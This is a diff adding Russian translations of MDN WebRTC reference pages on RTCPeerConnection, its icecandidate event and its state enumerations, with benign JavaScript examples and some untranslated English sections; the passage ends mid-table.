+<p>Метод <code><strong>getDefaultIceServers()</strong></code> интерфейса {{domxref("RTCPeerConnection")}} , возвращает массив объектов  {{domxref("RTCIceServer")}}, который указывает, какие серверы ICE браузер будет использовать по умолчанию, если они не указаны в параметре {{domxref("RTCConfiguration")}} конструктора {{domxref("RTCPeerConnection")}} </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"> var <em>defaultIceServers</em> = <em>RTCPeerConnection</em>.getDefaultIceServers();</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив  ICE серверов, определяемые как объекты класса  {{domxref("RTCIceServer")}} , которые браузер будет использовать для соединения, если иное не определено в параметре -  объекте конфигурации конструктора  {{domxref("RTCPeerConnection")}}. Если в браузере нет значений по умолчанию, массив будет пуст. Значение свойства не может быть  <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+var iceServers = pc.getDefaultIceServers();
+
+if (iceServers.length === 0) {
+  // Решить проблему отсутствия серверов ICE по умолчанию, возможно, используя наши собственные настройки по умолчанию.</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://w3c.github.io/webrtc-extensions/#dom-rtcpeerconnection-getdefaulticeservers">WebRTC Extensions</a></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getDefaultIceServers")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html
new file mode 100644
index 0000000000..f74735a97e
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html
@@ -0,0 +1,141 @@
+---
+title: 'RTCPeerConnection: icecandidate event'
+slug: Web/API/RTCPeerConnection/icecandidate_event
+translation_of: Web/API/RTCPeerConnection/icecandidate_event
+---
+<div>{{WebRTCSidebar}}</div>
+
+<p>Событие <strong><code>icecandidate</code></strong> отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удаленному клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удаленный клиент (remote peer) смог добавить его в свой набор удаленных кандидатов (remote candidates).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплывает</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{DOMxRef("RTCPeerConnectionIceEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Название обработчика событий</th>
+   <td>{{DOMxRef("RTCPeerConnection.onicecandidate")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Существует три причины, по которым событие <code>icecandidate</code> происходит (fired) у {{domxref("RTCPeerConnection")}}.</p>
+
+<h3 id="Делимся_Sharing_новым_кандидатом">Делимся (Sharing) новым кандидатом</h3>
+
+<p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кондидата нужно доставить удаленному клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p>
+
+<pre class="brush: js notranslate">rtcPeerConnection.onicecandidate = (event) =&gt; {
+  if (event.candidate) {
+    sendCandidateToRemotePeer(event.candidate)
+  } else {
+    /* there are no more candidates coming during this negotiation */
+  }
+}
+</pre>
+
+<p>Удаленный клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).</p>
+
+<h3 id="Indicating_the_end_of_a_generation_of_candidates">Indicating the end of a generation of candidates</h3>
+
+<p>When an ICE negotiation session runs out of candidates to propose for a given {{domxref("RTCIceTransport")}}, it has completed gathering for a <strong>generation</strong> of candidates. That this has occurred is indicated by an <code>icecandidate</code> event whose {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} string is empty (<code>""</code>).</p>
+
+<p>You should deliver this to the remote peer just like any standard candidate, as described under {{anch("Sharing a new candidate")}} above. This ensures that the remote peer is given the end-of-candidates notification as well. As you see in the code in the previous section, every candidate is sent to the other peer, including any that might have an empty candidate string. Only candidates for which the event's {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} property is <code>null</code> are not forwarded across the signaling connection.</p>
+
+<p>The end-of-candidates indication is described in <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice-02#section-9.3">section 9.3 of the Trickle ICE draft specification</a> (note that the section number is subject to change as the specification goes through repeated drafts).</p>
+
+<h3 id="Indicating_that_ICE_gathering_is_complete">Indicating that ICE gathering is complete</h3>
+
+<p>Once all ICE transports have finished gathering candidates and the value of the {{domxref("RTCPeerConnection")}} object's {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} has made the transition to <code>complete</code>, an <code>icecandidate</code> event is sent with the value of <code>complete</code> set to <code>null</code>.</p>
+
+<p>This signal exists for backward compatibility purposes and does <em>not</em> need to be delivered onward to the remote peer (which is why the code snippet above checks to see if <code>event.candidate</code> is <code>null</code> prior to sending the candidate along.</p>
+
+<p>If you need to perform any special actions when there are no further candidates expected, you're much better off watching the ICE gathering state by watching for {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} events:</p>
+
+<pre class="brush: js notranslate">pc.addEventListener("icegatheringstatechange", ev =&gt; {
+  switch(pc.iceGatheringState) {
+    case "new":
+      /* gathering is either just starting or has been reset */
+      break;
+    case "gathering":
+      /* gathering has begun or is ongoing */
+      break;
+    case "complete":
+      /* gathering has ended */
+      break;
+  }
+});
+</pre>
+
+<p>As you can see in this example, the <code>icegatheringstatechange</code> event lets you know when the value of the {{domxref("RTCPeerConnection")}} property {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} has been updated. If that value is now <code>complete</code>, you know that ICE gathering has just ended.</p>
+
+<p>This is a more reliable approach than looking at the individual ICE messages for one indicating that the ICE session is finished.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This example creates a simple handler for the <code>icecandidate</code> event that uses a function called <code>sendMessage()</code> to create and send a reply to the remote peer through the signaling server.</p>
+
+<p>First, an example using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:</p>
+
+<pre class="brush: js notranslate">pc.addEventListener("icecandidate", ev =&gt; {
+  if (ev.candidate) {
+    sendMessage({
+      type: "new-ice-candidate",
+      candidate: event.candidate
+    });
+  }
+}, false);
+</pre>
+
+<p>You can also set the {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} event handler property directly:</p>
+
+<pre class="brush: js notranslate">pc.onicecandidate = ev =&gt; {
+  if (ev.candidate) {
+    sendMessage({
+      type: "new-ice-candidate",
+      candidate: event.candidate
+    });
+  }
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#event-icecandidate', 'icecandidate') }}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.icecandidate_event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..3eae7b0faa
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/index.html
@@ -0,0 +1,358 @@
+---
+title: Интерфейс RTCPeerConnection
+slug: Web/API/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection
+---
+<p>{{APIRef('WebRTC')}}</p>
+
+<p><span class="seoSummary">Интерфейс <strong><code>RTCPeerConnection</code></strong> представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удаленным пиром на удаленном компьютере. Он предоставляет методы для соединения с удаленным участником соединения, обслуживания, мониторинга и закрытия соединения.</span></p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<div>{{InterfaceOverview("WebRTC")}}</div>
+
+<h3 id="Устаревший_метод">Устаревший метод</h3>
+
+<p>Метод ниже, является устаревшим и не будет в дальнейшем реализован в современных браузерах.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt>
+ <dd>Создает новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определенным объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..</dd>
+</dl>
+
+<h2 id="События">События </h2>
+
+<p>Для прослушивания событий используется функция добавления обработчика события {{domxref("EventTarget.addEventListener", "addEventListener()")}} или используется стандартное свойство интерфейса по схеме  <code><em><strong>on</strong>имясобытия</em></code> (префикс <em><strong>on </strong></em>к которому добавляется имя события прописными буквами) для установки обработчика события.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда общий статус объекта сосединения <code>RTCPeerConnection</code> изменился.<br>
+ Так же, доступно через свойство установки обработчика события  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда удаленный пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}}  в текущее соединение.<br>
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда  специальный объект ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгенерирован <code>RTCPeerConnection</code> и готов для передачи удаленному пиру по каналу сигнализации.Сам сгененрированный объект кандидата передается в параметр вызванного обработчика. <br>
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt>
+ <dd>Событие типа ошибки  {{domxref("RTCPeerConnectionIceErrorEvent")}} , возникает на объекте соединения при генерации ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>), если при этом возникла ошибка. Свойства объекта ошибки, возвращаемого в обработчик,  описывают подробности ошибки.<br>
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает при изменении статуса ICE соединения. К примеру, <a href="https://developer.mozilla.org/en-US/docs/Glossary/ICE">ICE</a> соединение разорвано.<br>
+ Так же, доступно через свойство установки обработчика события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection,</code> возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что :  согласование соединения ICE еще не началось (статус равен значению "<code>new</code>"); согласование соединения ICE началось (статус равен значеню "<code>gathering</code>"); согласование ICE  соединения завершено (статус равен значению "<code>complete</code>").<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов  {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет свое значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда необходимо запустить согласование (пересогласование) ICE соединения; может произойти при первом открытии соединения , или при необходимости принятия изменений условий сети. Получатель должен ответить, создав предложение и отправив его другому партнеру. <br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}</dt>
+ <dd>Событие <code>signalingstatechange</code> возникает, когда статус сигнализации ICE соединения изменился..<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.track_event", "track")}}</dt>
+ <dd>Событие <code>track</code> возникает после того, как новый объект трека был добавлен в один из объектов интерфейса {{domxref("RTCRtpReceiver")}} , которые входят в состав соединения.<br>
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.ontrack", "ontrack")}} .</dd>
+</dl>
+
+<h3 id="Устаревшие_события">Устаревшие события</h3>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}</dt>
+ <dd>Возникает, когда новый объект {{domxref("MediaStream")}} был добавлен в соединение. Вместо наблюдения за этим устаревшим событием, разработчику следует наблюдать за каждым событием {{domxref("RTCPeerConnection.track_event", "track")}}, возникающим при добавлении в соединение объекта  {{domxref("MediaStreamTrack")}}..<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для указания доступности подтверждения идентичности. Теперь, следует ждать возвращение промиса от {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} для подтверждения личности. <br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для определения возникшей ошибки при попытке генерации подтверждения идентичности. Теперь, нужно ожидать результата работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} , передающий в метод перехвата ошибок промиса, возникшую ошибку.<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}}..</dd>
+ <dt>{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для определения того, что ошибка возникла при попытке подтверждения идентичности. Теперь, следует ожидать результат работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}}, для перехвата ошибки в соответствующем методе.<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}</dt>
+ <dd>В старой версии спецификации WebRTC это событие использовалось для доставки полученной идентичности. Теперь, нужно ожидать результата работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}}, для получения идентичности.</dd>
+ <dt>{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}</dt>
+ <dd>Возникает на объекте <code>RTCPeerConnection, </code>когда объект {{domxref("MediaStream")}} удаляется из соединения. Теперь, необходимо наблюдать за событиями {{domxref("MediaStream.removetrack_event", "removetrack")}} на каждом потоке, входящем в состав объекта соединения <code>RTCPeerConnection</code>.<br>
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} .</dd>
+</dl>
+
+<h2 id="Константы">Константы</h2>
+
+<h3 id="Перечисление_RTCBundlePolicy">Перечисление RTCBundlePolicy </h3>
+
+<p>Перечисление <code>RTCBundlePolicy</code> (политика сборки пакетов) определяет строковые константы, которые используются для запроса определенной политики при сборке  ICE кандидатов, в случае, если удаленный участник соединения (удаленная точка) не совместим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a>  для объединения нескольких медиапотоков в один транспортный пакет.</p>
+
+<div class="note">
+<p><strong> Примечание :</strong> В технических терминах BUNDLE (пакет) позволяет всем медиапотокам между двумя пирами проходить через один 5 - ти элементный кортеж (тип транспортного протокола передачи сообщений при установки  TCP, UDP, и ICMP соединений, состоящий из пяти элементов анализа данных). То есть, с одного IP-адреса и порта на одном узле на один IP-адрес и порт на другом узле с использованием одного и того же транспортного протокола.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"balanced"</code></td>
+   <td>
+    <p>Сбалансированный. Агент ICE изначально создает по одному объекту  {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если  удаленная конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"max-compat"</code></td>
+   <td>Максимально совместимый. Агент ICE изначально создает один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удаленная точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах</td>
+  </tr>
+  <tr>
+   <td><code>"max-bundle"</code></td>
+   <td>Максимальный пакет. Агент ICE изначально создает только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удаленная  точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCIceConnectionState">Перечисление RTCIceConnectionState</h3>
+
+<p>Перечисление <code>RTCIceConnectionState</code> определяет строковые константы, использующиеся для описания текущего состояния  ICE агента и его соединения с ICE сервером  {{Glossary("STUN")}} или {{Glossary("TURN")}} .</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>ICE агент собирает адреса или ожидает получения удаленных кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу.</td>
+  </tr>
+  <tr>
+   <td><code>"checking"</code></td>
+   <td>ICE агент получил один или несколько удаленных кандидатов и проверяет парность локального и удаленного кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но еще не обнаружил пару, соответствующую устанавливаемому удаленному соединению.Не исключено, что сборка кандидатов продолжиться.</td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>Совместимая парность локального и удаленного кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости.</td>
+  </tr>
+  <tr>
+   <td><code>"completed"</code></td>
+   <td>Агент ICE завершил сбор кандидатов, проверил все пары относительно друг друга, и установил все соединения для всех компонентов.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>Агент ICE проверил все пары кандидатов между собой и не нашел совместимых сопоставлений для всех компонентов соединения. Или не нашел совместимых соединений для некоторых компонентов. </td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>Проверяет, что компоненты все еще подключены, хотябы для одного объекта {{domxref("RTCPeerConnection")}}.  Это менее строгий тест, чем <code>"failed"</code>, и он может периодически запускаться и разрешаться спонтанно в менее надежных сетях, или во время временного отключения. Когда проблема исчезнет, ​​соединение может вернуться в состояние <code>"connected".</code> </td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>ICE агент закрыл соединение для объекта {{domxref("RTCPeerConnection")}} и больше не обрабатывает запросы.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCIceGatheringState">Перечисление RTCIceGatheringState</h3>
+
+<p>Перечисление <code>RTCIceGatheringState</code> определяет строковые константы, которые описывают текущий статус ICE сборки, возвращаемый свойством  {{domxref("RTCPeerConnection.iceGatheringState")}}. Для определения изменнения этого свойства можно подписаться на событие  {{event("icegatheringstatechange")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константы</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>Соединение только что создано, и еще не имело сетевой активности.</td>
+  </tr>
+  <tr>
+   <td><code>"gathering"</code></td>
+   <td>Агент ICE находиться в процессе сборки кандидатов соединения.</td>
+  </tr>
+  <tr>
+   <td><code>"complete"</code></td>
+   <td>Агент ICE завершил сборку кандидатов. Если произойдет, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение  "<code>gathering</code>" и начнется пересборка кандидатов.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCIceTransportPolicy">Перечисление RTCIceTransportPolicy</h3>
+
+<p>Перечисление <code>RTCIceTransportPolicy</code> определяет строковые константы, использующиеся для ограничения политик передачи ICE кандидатов, учитывающихся во время процесса соединения..</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"all"</code></td>
+   <td>Все  ICE кандидаты будут рассмотрены.</td>
+  </tr>
+  <tr>
+   <td><code>"public" </code>{{obsolete_inline}}</td>
+   <td>Будут рассматриваться  ICE кандидаты, только имеющие публичные IP адреса. <em>Удален в спецификации от 13 мая 2016 (working draft).</em></td>
+  </tr>
+  <tr>
+   <td><code>"relay"</code></td>
+   <td>Будут рассматриваться ICE кандидаты, только с переданными IP адресами через TURN сервер.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCPeerConnectionState">Перечисление RTCPeerConnectionState</h3>
+
+<p>Перечисление  <code>RTCPeerConnectionState</code> определяет строковые константы, описывающие статус <code>RTCPeerConnection</code>. Эти значения возвращаются свойством  (методом доступа) {{domxref("RTCPeerConnection.connectionState", "connectionState")}} . Этот статус представляет собирательный статус всех ICE передач (которые имеют тип {{domxref("RTCIceTransport")}} или {{domxref("RTCDtlsTransport")}}) , использующиеся соединением.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>Новый. По меньшей мере один из объектов ICE передачи ({{domxref("RTCIceTransport")}} или  {{domxref("RTCDtlsTransport")}} ) в соединении находиться в статусе <code>"new"</code> и ни один из них не находиться в одном из перечисленных статусов : <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, или <code>"disconnected"</code>, или все объекты передач соединения находятся в статусе  <code>"closed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"connecting"</code></td>
+   <td>В процессе соединения. Один или несколько объектов ICE передачи находятся в процессе установки соединения. Т.е. их свойство <code>RTCIceConnectionState</code> либо имеет значение <code>"checking"</code> , либо  <code>"connected"</code>,  и ни один из объектов передачи не находиться в статусе <code>"failed"</code> . <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>Соединен. Каждый объект ICE передачи, использующийся соединением либо используется  (имеет статус <code>"connected"</code> или <code>"completed"</code>) , либо закрыт  (имеет статус <code>"closed"</code>); кроме того, по крайней мере один объект передачи имеет статус либо  <code>"connected"</code> , либо <code>"completed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>Разъединен. По меньшей мере один из объектов ICE передачи в соединении имеет статус <code>"disconnected"</code>  и ни один из объекто передачи не находиться в статусе : <code>"failed"</code>, <code>"connecting"</code>, или  <code>"checking"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>Неудачно. Один или несколько объектов передачи могут находиться в статусе <code>"failed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>
+    <p>Закрыто. Соединение <code>RTCPeerConnection</code> закрыто.</p>
+
+    <p>Ранее входило в значения перечисления <a href="#RTCSignalingState_enum"><code>RTCSignalingState</code></a> (и поэтому может быть найдено в свойстве {{domxref("RTCPeerConnection.signalingState", "signalingState")}}) до 13 мая, 2016.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCRtcpMuxPolicy">Перечисление RTCRtcpMuxPolicy</h3>
+
+<p>Перечисление <code>RTCRtcpMuxPolicy</code> содержит строковые константы, определяющие , что собираемые кандидаты должны иметь поддержку немультиплексированного RTCP . <strong>&lt;&lt;&lt;add a link to info about multiplexed RTCP.</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"negotiate"</code></td>
+   <td>Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.</td>
+  </tr>
+  <tr>
+   <td><code>"require"</code></td>
+   <td>Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Перечисление_RTCSignalingState">Перечисление RTCSignalingState</h3>
+
+<p>Перечисление <code>RTCSignalingState</code> определяет возможные значения состояния сигнализирования  {{domxref("RTCPeerConnection.signalingState")}}, указывая в каком месте процесса сигнализации в настоящее время находиться обмен предложением или ответом.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Константа</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"stable"</code></td>
+   <td>
+    <p>Стабильно. Текущего процесса обмена предложения/ответ не происходит. Это может означать, что объект соединения {{domxref("RTCPeerConnection")}} новый, и в этом случае объекты описания  {{domxref("RTCPeerConnection.localDescription", "localDescription")}} и {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} имеют значения <code>null</code>; Так же, может означать, что согласование завершено и соединение успешно установлено.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"have-local-offer"</code></td>
+   <td>Имеет локальное предложение. Локальный пир вызвал метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, передав в него объект описания SDP , представляющий предложение  (обычно, созданного вызовом метода {{domxref("RTCPeerConnection.createOffer()")}}), и это предложение было успешно применено.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-offer"</code></td>
+   <td>Имеет удаленное предложение. Удаленный пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-pranswer"</code></td>
+   <td>Имеет локальный предварительный ответ. Предложение удаленного пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включенных в него  полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-pranswer"</code></td>
